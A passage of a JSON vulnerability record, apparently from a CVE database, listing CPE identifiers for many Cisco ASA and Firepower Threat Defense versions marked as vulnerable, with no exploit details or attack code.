"cpe:2.3:a:cisco:adaptive_security_appliance:9.8.2.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.2.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.2.17:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.2.20:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.2.24:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.2.26:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.2.28:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.2.33:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.2.35:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.2.38:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.3.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.3.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.3.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.3.16:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.3.18:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.3.21:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.3.26:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.3.29:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.17:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.20:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.26:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.29:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.32:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.33:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.34:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.35:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.39:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.40:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.41:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.43:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.44:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.8.4.45:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.1.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.1.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.1.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.18:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.25:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.27:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.32:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.36:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.40:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.47:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.50:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.52:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.56:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.59:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.61:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.66:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.67:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.1.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.74:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.80:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.83:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.9.2.85:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1.17:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1.22:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1.27:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1.30:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1.32:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1.37:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1.40:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1.42:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.10.1.44:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.1.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.1.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.2.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.2.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.2.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.3.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.3.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.3.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.3.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.2.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.18:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.24:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.26:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.29:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.30:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.35:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.37:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.38:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.12.4.39:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.13.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.13.1.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.13.1.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.13.1.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.13.1.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.13.1.16:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.13.1.19:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.13.1.21:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.1.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.1.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.1.19:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.1.30:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.2.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.2.8:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.2.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.2.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.3.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.3.9:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.3.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.3.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.3.18:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.3.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.14.4.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.15.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.15.1.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.15.1.10:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.15.1.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.15.1.16:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.15.1.17:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.15.1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.15.1.21:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.16.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.16.1.28:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.16.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.16.2.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.16.2.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.16.2.11:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.16.2.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.16.2.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:adaptive_security_appliance:9.17.1.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}]}, {"children": [], "operator": "OR", "cpe_match": [{"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.1.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.1.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.1.0.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.4.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.3.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.13:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.14:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.15:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.12:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.5.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.6.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.6.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:7.1.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:7.0.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.7.0:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:7.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:7.0.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:7.0.1.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.6.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.6.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.6.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.6.5:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.6.5.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.6.5.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:7.1.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:7.1.0.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.1.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.1.0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.1.0.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.1.0.6:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.1.0.7:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.0.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.0.3:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.0.4:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.2.1:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.2.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, {"cpe23Uri": "cpe:2.3:a:cisco:firepower_threat_defense:6.2.3.2:*:*:*:*:*:*:*", "cpe_name": [], "vulnerable": true}, 